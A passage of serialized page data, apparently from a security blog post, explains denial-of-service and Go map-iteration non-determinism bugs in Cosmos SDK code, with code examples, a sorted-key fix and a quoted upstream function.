input",{"type":20,"tag":315,"props":75131,"children":75132},{"style":334},[75133],{"type":26,"value":2884},{"type":20,"tag":315,"props":75135,"children":75136},{"style":334},[75137],{"type":26,"value":5536},{"type":20,"tag":315,"props":75139,"children":75140},{"style":328},[75141],{"type":26,"value":2117},{"type":20,"tag":315,"props":75143,"children":75144},{"style":322},[75145],{"type":26,"value":1802},{"type":20,"tag":315,"props":75147,"children":75148},{"style":328},[75149],{"type":26,"value":12664},{"type":20,"tag":315,"props":75151,"children":75152},{"class":317,"line":374},[75153,75157,75161,75166,75170,75175],{"type":20,"tag":315,"props":75154,"children":75155},{"style":328},[75156],{"type":26,"value":1468},{"type":20,"tag":315,"props":75158,"children":75159},{"style":334},[75160],{"type":26,"value":12158},{"type":20,"tag":315,"props":75162,"children":75163},{"style":322},[75164],{"type":26,"value":75165}," VmResult",{"type":20,"tag":315,"props":75167,"children":75168},{"style":328},[75169],{"type":26,"value":4199},{"type":20,"tag":315,"props":75171,"children":75172},{"style":322},[75173],{"type":26,"value":75174},"u32",{"type":20,"tag":315,"props":75176,"children":75177},{"style":328},[75178],{"type":26,"value":5676},{"type":20,"tag":315,"props":75180,"children":75181},{"class":317,"line":383},[75182,75186,75191,75195,75200,75204,75208,75212,75216,75220,75224],{"type":20,"tag":315,"props":75183,"children":75184},{"style":541},[75185],{"type":26,"value":1380},{"type":20,"tag":315,"props":75187,"children":75188},{"style":635},[75189],{"type":26,"value":75190}," out_size",{"type":20,"tag":315,"props":75192,"children":75193},{"style":334},[75194],{"type":26,"value":1395},{"type":20,"tag":315,"props":75196,"children":75197},{"style":345},[75198],{"type":26,"value":75199}," to_u32",{"type":20,"tag":315,"props":75201,"children":75202},{"style":328},[75203],{"type":26,"value":1049},{"type":20,"tag":315,"props":75205,"children":75206},{"style":635},[75207],{"type":26,"value":6763},{"type":20,"tag":315,"props":75209,"children":75210},{"style":334},[75211],{"type":26,"value":61},{"type":20,"tag":315,"props":75213,"children":75214},{"style":345},[75215],{"type":26,"value":7537},{"type":20,"tag":315,"props":75217,"children":75218},{"style":328},[75219],{"type":26,"value":40382},{"type":20,"tag":315,"props":75221,"children":75222},{"style":334},[75223],{"type":26,"value":1537},{"type":20,"tag":315,"props":75225,"children":75226},{"style":328},[75227],{"type":26,"value":1405},{"type":20,"tag":315,"props":75229,"children":75230},{"class":317,"line":407},[75231,75235,75239,75243,75247,75251,75256,75260,75264,75268,75272,75276,75281,75285,75289,75294,75298],{"type":20,"tag":315,"props":75232,"children":75233},{"style":541},[75234],{"type":26,"value":1380},{"type":20,"tag":315,"props":75236,"children":75237},{"style":635},[75238],{"type":26,"value":7558},{"type":20,"tag":315,"props":75240,"children":75241},{"style":334},[75242],{"type":26,"value":1395},{"type":20,"tag":315,"props":75244,"children":75245},{"style":635},[75246],{"type":26,"value":41376},{"type":20,"tag":315,"props":75248,"children":75249},{"style":334},[75250],{"type":26,"value":61},{"type":20,"tag":315,"props":75252,"children":75253},{"style":345},[75254],{"type":26,"value":75255},"call_function1",{"type":20,"tag":315,"props":75257,"children":75258},{"style":328},[75259],{"type":26,"value":1049},{"type":20,"tag":315,"props":75261,"children":75262},{"style":2652},[75263],{"type":26,"value":74986},{"type":20,"tag":315,"props":75265,"children":75266},{"style":328},[75267],{"type":26,"value":44},{"type":20,"tag":315,"props":75269,"children":75270},{"style":334},[75271],{"type":26,"value":1490},{"type":20,"tag":315,"props":75273,"children":75274},{"style":328},[75275],{"type":26,"value":2117},{"type":20,"tag":315,"props":75277,"children":75278},{"style":635},[75279],{"type":26,"value":75280},"out_size",{"type":20,"tag":315,"props":75282,"children":75283},{"style":334},[75284],{"type":26,"value":61},{"type":20,"tag":315,"props":75286,"children":75287},{"style":345},[75288],{"type":26,"value":13286},{"type":20,"tag":315,"props":75290,"children":75291},{"style":328},[75292],{"type":26,"value":75293},"()])",{"type":20,"tag":315,"props":75295,"children":75296},{"style":334},[75297],{"type":26,"value":1537},{"type":20,"tag":315,"props":75299,"children":75300},{"style":328},[75301],{"type":26,"value":1405},{"type":20,"tag":315,"props":75303,"children":75304},{"class":317,"line":421},[75305,75309,75314,75318,75323,75327,75331,75335,75339,75343],{"type":20,"tag":315,"props":75306,"children":75307},{"style":541},[75308],{"type":26,"value":1380},{"type":20,"tag":315,"props":75310,"children":75311},{"style":635},[75312],{"type":26,"value":75313}," target_ptr",{"type":20,"tag":315,"props":75315,"children":75316},{"style":334},[75317],{"type":26,"value":1395},{"type":20,"tag":315,"props":75319,"children":75320},{"style":345},[75321],{"type":26,"value":75322}," ref_to_u32",{"type":20,"tag":315,"props":75324,"children":75325},{"style":328},[75326],{"type":26,"value":1049},{"type":20,"tag":315,"props":75328,"children":75329},{"style":334},[75330],{"type":26,"value":1490},{"type":20,"tag":315,"props":75332,"children":75333},{"style":635},[75334],{"type":26,"value":7480},{"type":20,"tag":315,"props":75336,"children":75337},{"style":328},[75338],{"type":26,"value":1509},{"type":20,"tag":315,"props":75340,"children":75341},{"style":334},[75342],{"type":26,"value":1537},{"type":20,"tag":315,"props":75344,"children":75345},{"style":328},[75346],{"type":26,"value":1405},{"type":20,"tag":315,"props":75348,"children":75349},{"class":317,"line":430},[75350,75354,75358,75362,75366],{"type":20,"tag":315,"props":75351,"children":75352},{"style":525},[75353],{"type":26,"value":10680},{"type":20,"tag":315,"props":75355,"children":75356},{"style":635},[75357],{"type":26,"value":75313},{"type":20,"tag":315,"props":75359,"children":75360},{"style":334},[75361],{"type":26,"value":1664},{"type":20,"tag":315,"props":75363,"children":75364},{"style":765},[75365],{"type":26,"value":985},{"type":20,"tag":315,"props":75367,"children":75368},{"style":328},[75369],{"type":26,"value":1092},{"type":20,"tag":315,"props":75371,"children":75372},{"class":317,"line":453},[75373,75377,75381,75385,75390,75394,75399,75403,75407,75411],{"type":20,"tag":315,"props":75374,"children":75375},{"style":525},[75376],{"type":26,"value":14145},{"type":20,"tag":315,"props":75378,"children":75379},{"style":322},[75380],{"type":26,"value":14150},{"type":20,"tag":315,"props":75382,"children":75383},{"style":328},[75384],{"type":26,"value":1049},{"type":20,"tag":315,"props":75386,"children":75387},{"style":322},[75388],{"type":26,"value":75389},"CommunicationError",{"type":20,"tag":315,"props":75391,"children":75392},{"style":334},[75393],{"type":26,"value":1861},{"type":20,"tag":315,"props":75395,"children":75396},{"style":345},[75397],{"type":26,"value":75398},"zero_address",{"type":20,"tag":315,"props":75400,"children":75401},{"style":328},[75402],{"type":26,"value":12280},{"type":20,"tag":315,"props":75404,"children":75405},{"style":334},[75406],{"type":26,"value":61},{"type":20,"tag":315,"props":75408,"children":75409},{"style":345},[75410],{"type":26,"value":13286},{"type":20,"tag":315,"props":75412,"children":75413},{"style":328},[75414],{"type":26,"value":13826},{"type":20,"tag":315,"props":75416,"children":75417},{"class":317,"line":486},[75418],{"type":20,"tag":315,"props":75419,"children":75420},{"style":328},[75421],{"type":26,"value":1736},{"type":20,"tag":315,"props":75423,"children":75424},{"class":317,"line":499},[75425,75430,75434,75438,75442,75446,75450,75454,75459,75463,75467,75471,75475],{"type":20,"tag":315,"props":75426,"children":75427},{"style":345},[75428],{"type":26,"value":75429}," write_region",{"type":20,"tag":315,"props":75431,"children":75432},{"style":328},[75433],{"type":26,"value":1049},{"type":20,"tag":315,"props":75435,"children":75436},{"style":334},[75437],{"type":26,"value":1490},{"type":20,"tag":315,"props":75439,"children":75440},{"style":635},[75441],{"type":26,"value":34106},{"type":20,"tag":315,"props":75443,"children":75444},{"style":334},[75445],{"type":26,"value":61},{"type":20,"tag":315,"props":75447,"children":75448},{"style":345},[75449],{"type":26,"value":74230},{"type":20,"tag":315,"props":75451,"children":75452},{"style":328},[75453],{"type":26,"value":16778},{"type":20,"tag":315,"props":75455,"children":75456},{"style":635},[75457],{"type":26,"value":75458},"target_ptr",{"type":20,"tag":315,"props":75460,"children":75461},{"style":328},[75462],{"type":26,"value":44},{"type":20,"tag":315,"props":75464,"children":75465},{"style":635},[75466],{"type":26,"value":6763},{"type":20,"tag":315,"props":75468,"children":75469},{"style":328},[75470],{"type":26,"value":1509},{"type":20,"tag":315,"props":75472,"children":75473},{"style":334},[75474],{"type":26,"value":1537},{"type":20,"tag":315,"props":75476,"children":75477},{"style":328},[75478],{"type":26,"value":1405},{"type":20,"tag":315,"props":75480,"children":75481},{"class":317,"line":513},[75482,75486,75490,75494],{"type":20,"tag":315,"props":75483,"children":75484},{"style":322},[75485],{"type":26,"value":12734},{"type":20,"tag":315,"props":75487,"children":75488},{"style":328},[75489],{"type":26,"value":1049},{"type":20,"tag":315,"props":75491,"children":75492},{"style":635},[75493],{"type":26,"value":75458},{"type":20,"tag":315,"props":75495,"children":75496},{"style":328},[75497],{"type":26,"value":380},{"type":20,"tag":315,"props":75499,"children":75500},{"class":317,"line":521},[75501],{"type":20,"tag":315,"props":75502,"children":75503},{"style":328},[75504],{"type":26,"value":577},{"type":20,"tag":29,"props":75506,"children":75507},{},[75508,75510,75516,75518,75523],{"type":26,"value":75509},"As users have complete control over ",{"type":20,"tag":119,"props":75511,"children":75513},{"className":75512},[],[75514],{"type":26,"value":75515},"allocate",{"type":26,"value":75517},", there is a possibility to call back ",{"type":20,"tag":119,"props":75519,"children":75521},{"className":75520},[],[75522],{"type":26,"value":74978},{"type":26,"value":75524}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":20,"tag":29,"props":75526,"children":75527},{},[75528,75530,75537],{"type":26,"value":75529},"Additional real-world examples include ",{"type":20,"tag":35,"props":75531,"children":75534},{"href":75532,"rel":75533},"https://github.com/cosmos/cosmos-sdk/issues/16676",[39],[75535],{"type":26,"value":75536},"not returning proper values for malformed txs",{"type":26,"value":61},{"type":20,"tag":21,"props":75539,"children":75541},{"id":75540},"order-was-the-dream-of-man",[75542],{"type":26,"value":75543},"Order Was the Dream of Man",{"type":20,"tag":29,"props":75545,"children":75546},{},[75547],{"type":26,"value":75548},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":20,"tag":29,"props":75550,"children":75551},{},[75552],{"type":26,"value":75553},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":20,"tag":305,"props":75555,"children":75557},{"code":75556,"language":74422,"meta":7,"className":74423,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n for key, value := range objectMap {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, value),\n )\n )\n }\n}\n",[75558],{"type":20,"tag":119,"props":75559,"children":75560},{"__ignoreMap":7},[75561,75594,75601,75630,75667,75696,75717,75729,75766,75774,75781,75788],{"type":20,"tag":315,"props":75562,"children":75563},{"class":317,"line":318},[75564,75568,75573,75577,75581,75585,75589],{"type":20,"tag":315,"props":75565,"children":75566},{"style":541},[75567],{"type":26,"value":31170},{"type":20,"tag":315,"props":75569,"children":75570},{"style":322},[75571],{"type":26,"value":75572}," ObjectMap",{"type":20,"tag":315,"props":75574,"children":75575},{"style":541},[75576],{"type":26,"value":47920},{"type":20,"tag":315,"props":75578,"children":75579},{"style":328},[75580],{"type":26,"value":2117},{"type":20,"tag":315,"props":75582,"children":75583},{"style":322},[75584],{"type":26,"value":28082},{"type":20,"tag":315,"props":75586,"children":75587},{"style":328},[75588],{"type":26,"value":13812},{"type":20,"tag":315,"props":75590,"children":75591},{"style":322},[75592],{"type":26,"value":75593},"string\n",{"type":20,"tag":315,"props":75595,"children":75596},{"class":317,"line":356},[75597],{"type":20,"tag":315,"props":75598,"children":75599},{"emptyLinePlaceholder":15},[75600],{"type":26,"value":427},{"type":20,"tag":315,"props":75602,"children":75603},{"class":317,"line":365},[75604,75608,75613,75617,75622,75626],{"type":20,"tag":315,"props":75605,"children":75606},{"style":541},[75607],{"type":26,"value":74558},{"type":20,"tag":315,"props":75609,"children":75610},{"style":345},[75611],{"type":26,"value":75612}," EmitEntries",{"type":20,"tag":315,"props":75614,"children":75615},{"style":328},[75616],{"type":26,"value":1049},{"type":20,"tag":315,"props":75618,"children":75619},{"style":635},[75620],{"type":26,"value":75621},"objectMap",{"type":20,"tag":315,"props":75623,"children":75624},{"style":322},[75625],{"type":26,"value":75572},{"type":20,"tag":315,"props":75627,"children":75628},{"style":328},[75629],{"type":26,"value":549},{"type":20,"tag":315,"props":75631,"children":75632},{"class":317,"line":374},[75633,75637,75641,75645,75649,75653,75658,75663],{"type":20,"tag":315,"props":75634,"children":75635},{"style":525},[75636],{"type":26,"value":1413},{"type":20,"tag":315,"props":75638,"children":75639},{"style":635},[75640],{"type":26,"value":4325},{"type":20,"tag":315,"props":75642,"children":75643},{"style":328},[75644],{"type":26,"value":44},{"type":20,"tag":315,"props":75646,"children":75647},{"style":635},[75648],{"type":26,"value":37568},{"type":20,"tag":315,"props":75650,"children":75651},{"style":334},[75652],{"type":26,"value":74674},{"type":20,"tag":315,"props":75654,"children":75655},{"style":525},[75656],{"type":26,"value":75657}," range",{"type":20,"tag":315,"props":75659,"children":75660},{"style":635},[75661],{"type":26,"value":75662}," objectMap",{"type":20,"tag":315,"props":75664,"children":75665},{"style":328},[75666],{"type":26,"value":1092},{"type":20,"tag":315,"props":75668,"children":75669},{"class":317,"line":383},[75670,75674,75678,75683,75687,75692],{"type":20,"tag":315,"props":75671,"children":75672},{"style":635},[75673],{"type":26,"value":24602},{"type":20,"tag":315,"props":75675,"children":75676},{"style":328},[75677],{"type":26,"value":61},{"type":20,"tag":315,"props":75679,"children":75680},{"style":635},[75681],{"type":26,"value":75682},"EventManager",{"type":20,"tag":315,"props":75684,"children":75685},{"style":328},[75686],{"type":26,"value":61},{"type":20,"tag":315,"props":75688,"children":75689},{"style":345},[75690],{"type":26,"value":75691},"EmitEvent",{"type":20,"tag":315,"props":75693,"children":75694},{"style":328},[75695],{"type":26,"value":353},{"type":20,"tag":315,"props":75697,"children":75698},{"class":317,"line":407},[75699,75704,75708,75713],{"type":20,"tag":315,"props":75700,"children":75701},{"style":635},[75702],{"type":26,"value":75703}," sdk",{"type":20,"tag":315,"props":75705,"children":75706},{"style":328},[75707],{"type":26,"value":61},{"type":20,"tag":315,"props":75709,"children":75710},{"style":345},[75711],{"type":26,"value":75712},"NewEvent",{"type":20,"tag":315,"props":75714,"children":75715},{"style":328},[75716],{"type":26,"value":353},{"type":20,"tag":315,"props":75718,"children":75719},{"class":317,"line":421},[75720,75725],{"type":20,"tag":315,"props":75721,"children":75722},{"style":2652},[75723],{"type":26,"value":75724}," \"MapContext\"",{"type":20,"tag":315,"props":75726,"children":75727},{"style":328},[75728],{"type":26,"value":643},{"type":20,"tag":315,"props":75730,"children":75731},{"class":317,"line":430},[75732,75737,75741,75746,75750,75754,75758,75762],{"type":20,"tag":315,"props":75733,"children":75734},{"style":635},[75735],{"type":26,"value":75736}," sdk",{"type":20,"tag":315,"props":75738,"children":75739},{"style":328},[75740],{"type":26,"value":61},{"type":20,"tag":315,"props":75742,"children":75743},{"style":345},[75744],{"type":26,"value":75745},"NewAttribute",{"type":20,"tag":315,"props":75747,"children":75748},{"style":328},[75749],{"type":26,"value":1049},{"type":20,"tag":315,"props":75751,"children":75752},{"style":635},[75753],{"type":26,"value":70412},{"type":20,"tag":315,"props":75755,"children":75756},{"style":328},[75757],{"type":26,"value":44},{"type":20,"tag":315,"props":75759,"children":75760},{"style":635},[75761],{"type":26,"value":37568},{"type":20,"tag":315,"props":75763,"children":75764},{"style":328},[75765],{"type":26,"value":5131},{"type":20,"tag":315,"props":75767,"children":75768},{"class":317,"line":453},[75769],{"type":20,"tag":315,"props":75770,"children":75771},{"style":328},[75772],{"type":26,"value":75773}," )\n",{"type":20,"tag":315,"props":75775,"children":75776},{"class":317,"line":486},[75777],{"type":20,"tag":315,"props":75778,"children":75779},{"style":328},[75780],{"type":26,"value":66576},{"type":20,"tag":315,"props":75782,"children":75783},{"class":317,"line":499},[75784],{"type":20,"tag":315,"props":75785,"children":75786},{"style":328},[75787],{"type":26,"value":1736},{"type":20,"tag":315,"props":75789,"children":75790},{"class":317,"line":513},[75791],{"type":20,"tag":315,"props":75792,"children":75793},{"style":328},[75794],{"type":26,"value":577},{"type":20,"tag":29,"props":75796,"children":75797},{},[75798],{"type":26,"value":75799},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":20,"tag":1312,"props":75801,"children":75802},{},[75803],{"type":20,"tag":29,"props":75804,"children":75805},{},[75806],{"type":26,"value":75807},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":20,"tag":29,"props":75809,"children":75810},{},[75811,75813,75818],{"type":26,"value":75812},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":20,"tag":119,"props":75814,"children":75816},{"className":75815},[],[75817],{"type":26,"value":65357},{"type":26,"value":75819}," and then fetch the values using the sorted key array before emitting them.",{"type":20,"tag":305,"props":75821,"children":75823},{"code":75822,"language":74422,"meta":7,"className":74423,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n var keys []string\n for key := range objectMap {\n keys = append(keys, key)\n }\n sort.Strings(keys)\n\n for _, key := range keys {\n ctx.EventManager.EmitEvent(\n sdk.NewEvent(\n \"MapContext\",\n sdk.NewAttribute(key, objectMap[key]),\n )\n )\n }\n}\n",[75824],{"type":20,"tag":119,"props":75825,"children":75826},{"__ignoreMap":7},[75827,75858,75865,75892,75912,75939,75975,75982,76011,76018,76053,76080,76099,76110,76154,76161,76168,76175],{"type":20,"tag":315,"props":75828,"children":75829},{"class":317,"line":318},[75830,75834,75838,75842,75846,75850,75854],{"type":20,"tag":315,"props":75831,"children":75832},{"style":541},[75833],{"type":26,"value":31170},{"type":20,"tag":315,"props":75835,"children":75836},{"style":322},[75837],{"type":26,"value":75572},{"type":20,"tag":315,"props":75839,"children":75840},{"style":541},[75841],{"type":26,"value":47920},{"type":20,"tag":315,"props":75843,"children":75844},{"style":328},[75845],{"type":26,"value":2117},{"type":20,"tag":315,"props":75847,"children":75848},{"style":322},[75849],{"type":26,"value":28082},{"type":20,"tag":315,"props":75851,"children":75852},{"style":328},[75853],{"type":26,"value":13812},{"type":20,"tag":315,"props":75855,"children":75856},{"style":322},[75857],{"type":26,"value":75593},{"type":20,"tag":315,"props":75859,"children":75860},{"class":317,"line":356},[75861],{"type":20,"tag":315,"props":75862,"children":75863},{"emptyLinePlaceholder":15},[75864],{"type":26,"value":427},{"type":20,"tag":315,"props":75866,"children":75867},{"class":317,"line":365},[75868,75872,75876,75880,75884,75888],{"type":20,"tag":315,"props":75869,"children":75870},{"style":541},[75871],{"type":26,"value":74558},{"type":20,"tag":315,"props":75873,"children":75874},{"style":345},[75875],{"type":26,"value":75612},{"type":20,"tag":315,"props":75877,"children":75878},{"style":328},[75879],{"type":26,"value":1049},{"type":20,"tag":315,"props":75881,"children":75882},{"style":635},[75883],{"type":26,"value":75621},{"type":20,"tag":315,"props":75885,"children":75886},{"style":322},[75887],{"type":26,"value":75572},{"type":20,"tag":315,"props":75889,"children":75890},{"style":328},[75891],{"type":26,"value":549},{"type":20,"tag":315,"props":75893,"children":75894},{"class":317,"line":374},[75895,75900,75904,75908],{"type":20,"tag":315,"props":75896,"children":75897},{"style":541},[75898],{"type":26,"value":75899}," var",{"type":20,"tag":315,"props":75901,"children":75902},{"style":635},[75903],{"type":26,"value":19784},{"type":20,"tag":315,"props":75905,"children":75906},{"style":328},[75907],{"type":26,"value":74485},{"type":20,"tag":315,"props":75909,"children":75910},{"style":322},[75911],{"type":26,"value":75593},{"type":20,"tag":315,"props":75913,"children":75914},{"class":317,"line":383},[75915,75919,75923,75927,75931,75935],{"type":20,"tag":315,"props":75916,"children":75917},{"style":525},[75918],{"type":26,"value":1413},{"type":20,"tag":315,"props":75920,"children":75921},{"style":635},[75922],{"type":26,"value":4325},{"type":20,"tag":315,"props":75924,"children":75925},{"style":334},[75926],{"type":26,"value":74674},{"type":20,"tag":315,"props":75928,"children":75929},{"style":525},[75930],{"type":26,"value":75657},{"type":20,"tag":315,"props":75932,"children":75933},{"style":635},[75934],{"type":26,"value":75662},{"type":20,"tag":315,"props":75936,"children":75937},{"style":328},[75938],{"type":26,"value":1092},{"type":20,"tag":315,"props":75940,"children":75941},{"class":317,"line":407},[75942,75946,75950,75955,75959,75963,75967,75971],{"type":20,"tag":315,"props":75943,"children":75944},{"style":635},[75945],{"type":26,"value":23747},{"type":20,"tag":315,"props":75947,"children":75948},{"style":334},[75949],{"type":26,"value":1395},{"type":20,"tag":315,"props":75951,"children":75952},{"style":345},[75953],{"type":26,"value":75954}," append",{"type":20,"tag":315,"props":75956,"children":75957},{"style":328},[75958],{"type":26,"value":1049},{"type":20,"tag":315,"props":75960,"children":75961},{"style":635},[75962],{"type":26,"value":19387},{"type":20,"tag":315,"props":75964,"children":75965},{"style":328},[75966],{"type":26,"value":44},{"type":20,"tag":315,"props":75968,"children":75969},{"style":635},[75970],{"type":26,"value":70412},{"type":20,"tag":315,"props":75972,"children":75973},{"style":328},[75974],{"type":26,"value":380},{"type":20,"tag":315,"props":75976,"children":75977},{"class":317,"line":421},[75978],{"type":20,"tag":315,"props":75979,"children":75980},{"style":328},[75981],{"type":26,"value":1736},{"type":20,"tag":315,"props":75983,"children":75984},{"class":317,"line":430},[75985,75990,75994,75999,76003,76007],{"type":20,"tag":315,"props":75986,"children":75987},{"style":635},[75988],{"type":26,"value":75989}," sort",{"type":20,"tag":315,"props":75991,"children":75992},{"style":328},[75993],{"type":26,"value":61},{"type":20,"tag":315,"props":75995,"children":75996},{"style":345},[75997],{"type":26,"value":75998},"Strings",{"type":20,"tag":315,"props":76000,"children":76001},{"style":328},[76002],{"type":26,"value":1049},{"type":20,"tag":315,"props":76004,"children":76005},{"style":635},[76006],{"type":26,"value":19387},{"type":20,"tag":315,"props":76008,"children":76009},{"style":328},[76010],{"type":26,"value":380},{"type":20,"tag":315,"props":76012,"children":76013},{"class":317,"line":453},[76014],{"type":20,"tag":315,"props":76015,"children":76016},{"emptyLinePlaceholder":15},[76017],{"type":26,"value":427},{"type":20,"tag":315,"props":76019,"children":76020},{"class":317,"line":486},[76021,76025,76029,76033,76037,76041,76045,76049],{"type":20,"tag":315,"props":76022,"children":76023},{"style":525},[76024],{"type":26,"value":1413},{"type":20,"tag":315,"props":76026,"children":76027},{"style":635},[76028],{"type":26,"value":1418},{"type":20,"tag":315,"props":76030,"children":76031},{"style":328},[76032],{"type":26,"value":44},{"type":20,"tag":315,"props":76034,"children":76035},{"style":635},[76036],{"type":26,"value":70412},{"type":20,"tag":315,"props":76038,"children":76039},{"style":334},[76040],{"type":26,"value":74674},{"type":20,"tag":315,"props":76042,"children":76043},{"style":525},[76044],{"type":26,"value":75657},{"type":20,"tag":315,"props":76046,"children":76047},{"style":635},[76048],{"type":26,"value":19784},{"type":20,"tag":315,"props":76050,"children":76051},{"style":328},[76052],{"type":26,"value":1092},{"type":20,"tag":315,"props":76054,"children":76055},{"class":317,"line":499},[76056,76060,76064,76068,76072,76076],{"type":20,"tag":315,"props":76057,"children":76058},{"style":635},[76059],{"type":26,"value":24602},{"type":20,"tag":315,"props":76061,"children":76062},{"style":328},[76063],{"type":26,"value":61},{"type":20,"tag":315,"props":76065,"children":76066},{"style":635},[76067],{"type":26,"value":75682},{"type":20,"tag":315,"props":76069,"children":76070},{"style":328},[76071],{"type":26,"value":61},{"type":20,"tag":315,"props":76073,"children":76074},{"style":345},[76075],{"type":26,"value":75691},{"type":20,"tag":315,"props":76077,"children":76078},{"style":328},[76079],{"type":26,"value":353},{"type":20,"tag":315,"props":76081,"children":76082},{"class":317,"line":513},[76083,76087,76091,76095],{"type":20,"tag":315,"props":76084,"children":76085},{"style":635},[76086],{"type":26,"value":75703},{"type":20,"tag":315,"props":76088,"children":76089},{"style":328},[76090],{"type":26,"value":61},{"type":20,"tag":315,"props":76092,"children":76093},{"style":345},[76094],{"type":26,"value":75712},{"type":20,"tag":315,"props":76096,"children":76097},{"style":328},[76098],{"type":26,"value":353},{"type":20,"tag":315,"props":76100,"children":76101},{"class":317,"line":521},[76102,76106],{"type":20,"tag":315,"props":76103,"children":76104},{"style":2652},[76105],{"type":26,"value":75724},{"type":20,"tag":315,"props":76107,"children":76108},{"style":328},[76109],{"type":26,"value":643},{"type":20,"tag":315,"props":76111,"children":76112},{"class":317,"line":552},[76113,76117,76121,76125,76129,76133,76137,76141,76145,76149],{"type":20,"tag":315,"props":76114,"children":76115},{"style":635},[76116],{"type":26,"value":75736},{"type":20,"tag":315,"props":76118,"children":76119},{"style":328},[76120],{"type":26,"value":61},{"type":20,"tag":315,"props":76122,"children":76123},{"style":345},[76124],{"type":26,"value":75745},{"type":20,"tag":315,"props":76126,"children":76127},{"style":328},[76128],{"type":26,"value":1049},{"type":20,"tag":315,"props":76130,"children":76131},{"style":635},[76132],{"type":26,"value":70412},{"type":20,"tag":315,"props":76134,"children":76135},{"style":328},[76136],{"type":26,"value":44},{"type":20,"tag":315,"props":76138,"children":76139},{"style":635},[76140],{"type":26,"value":75621},{"type":20,"tag":315,"props":76142,"children":76143},{"style":328},[76144],{"type":26,"value":2117},{"type":20,"tag":315,"props":76146,"children":76147},{"style":635},[76148],{"type":26,"value":70412},{"type":20,"tag":315,"props":76150,"children":76151},{"style":328},[76152],{"type":26,"value":76153},"]),\n",{"type":20,"tag":315,"props":76155,"children":76156},{"class":317,"line":571},[76157],{"type":20,"tag":315,"props":76158,"children":76159},{"style":328},[76160],{"type":26,"value":75773},{"type":20,"tag":315,"props":76162,"children":76163},{"class":317,"line":2031},[76164],{"type":20,"tag":315,"props":76165,"children":76166},{"style":328},[76167],{"type":26,"value":66576},{"type":20,"tag":315,"props":76169,"children":76170},{"class":317,"line":2053},[76171],{"type":20,"tag":315,"props":76172,"children":76173},{"style":328},[76174],{"type":26,"value":1736},{"type":20,"tag":315,"props":76176,"children":76177},{"class":317,"line":2061},[76178],{"type":20,"tag":315,"props":76179,"children":76180},{"style":328},[76181],{"type":26,"value":577},{"type":20,"tag":29,"props":76183,"children":76184},{},[76185],{"type":26,"value":76186},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":20,"tag":219,"props":76188,"children":76190},{"id":76189},"real-world-examples-1",[76191],{"type":26,"value":74947},{"type":20,"tag":29,"props":76193,"children":76194},{},[76195,76197,76202,76204,76210,76212,76218,76220,76226],{"type":26,"value":76196},"Real-world examples of ",{"type":20,"tag":119,"props":76198,"children":76200},{"className":76199},[],[76201],{"type":26,"value":65357},{"type":26,"value":76203}," causing determinism problems can be found ",{"type":20,"tag":35,"props":76205,"children":76208},{"href":76206,"rel":76207},"https://github.com/cosmos/cosmos-sdk/pull/12487",[39],[76209],{"type":26,"value":45835},{"type":26,"value":76211},", specifically, where the result of ",{"type":20,"tag":119,"props":76213,"children":76215},{"className":76214},[],[76216],{"type":26,"value":76217},"buildCommitInfo",{"type":26,"value":76219}," is inconsistent due to iteration over the ",{"type":20,"tag":119,"props":76221,"children":76223},{"className":76222},[],[76224],{"type":26,"value":76225},"rs.stores",{"type":26,"value":76227}," map.",{"type":20,"tag":29,"props":76229,"children":76230},{},[76231],{"type":20,"tag":35,"props":76232,"children":76235},{"href":76233,"rel":76234},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[39],[76236],{"type":26,"value":74997},{"type":20,"tag":305,"props":76238,"children":76240},{"code":76239,"language":74422,"meta":7,"className":74423,"style":7},"func (rs *Store) buildCommitInfo(\n version int64\n) *types.CommitInfo {\n storeInfos := []types.StoreInfo{}\n for key, store := range rs.stores {\n if store.GetStoreType() == types.StoreTypeTransient {\n continue\n }\n storeInfos = append(storeInfos, types.StoreInfo{\n Name: key.Name(),\n CommitId: store.LastCommitID(),\n })\n }\n return &types.CommitInfo{\n Version: version,\n StoreInfos: storeInfos,\n }\n}\n",[76241],{"type":20,"tag":119,"props":76242,"children":76243},{"__ignoreMap":7},[76244,76281,76294,76322,76356,76401,76447,76455,76462,76507,76537,76566,76573,76580,76607,76629,76649,76656],{"type":20,"tag":315,"props":76245,"children":76246},{"class":317,"line":318},[76247,76251,76255,76260,76264,76269,76273,76277],{"type":20,"tag":315,"props":76248,"children":76249},{"style":541},[76250],{"type":26,"value":74558},{"type":20,"tag":315,"props":76252,"children":76253},{"style":328},[76254],{"type":26,"value":463},{"type":20,"tag":315,"props":76256,"children":76257},{"style":635},[76258],{"type":26,"value":76259},"rs ",{"type":20,"tag":315,"props":76261,"children":76262},{"style":334},[76263],{"type":26,"value":901},{"type":20,"tag":315,"props":76265,"children":76266},{"style":322},[76267],{"type":26,"value":76268},"Store",{"type":20,"tag":315,"props":76270,"children":76271},{"style":328},[76272],{"type":26,"value":1468},{"type":20,"tag":315,"props":76274,"children":76275},{"style":345},[76276],{"type":26,"value":76217},{"type":20,"tag":315,"props":76278,"children":76279},{"style":328},[76280],{"type":26,"value":353},{"type":20,"tag":315,"props":76282,"children":76283},{"class":317,"line":356},[76284,76289],{"type":20,"tag":315,"props":76285,"children":76286},{"style":635},[76287],{"type":26,"value":76288}," version",{"type":20,"tag":315,"props":76290,"children":76291},{"style":322},[76292],{"type":26,"value":76293}," 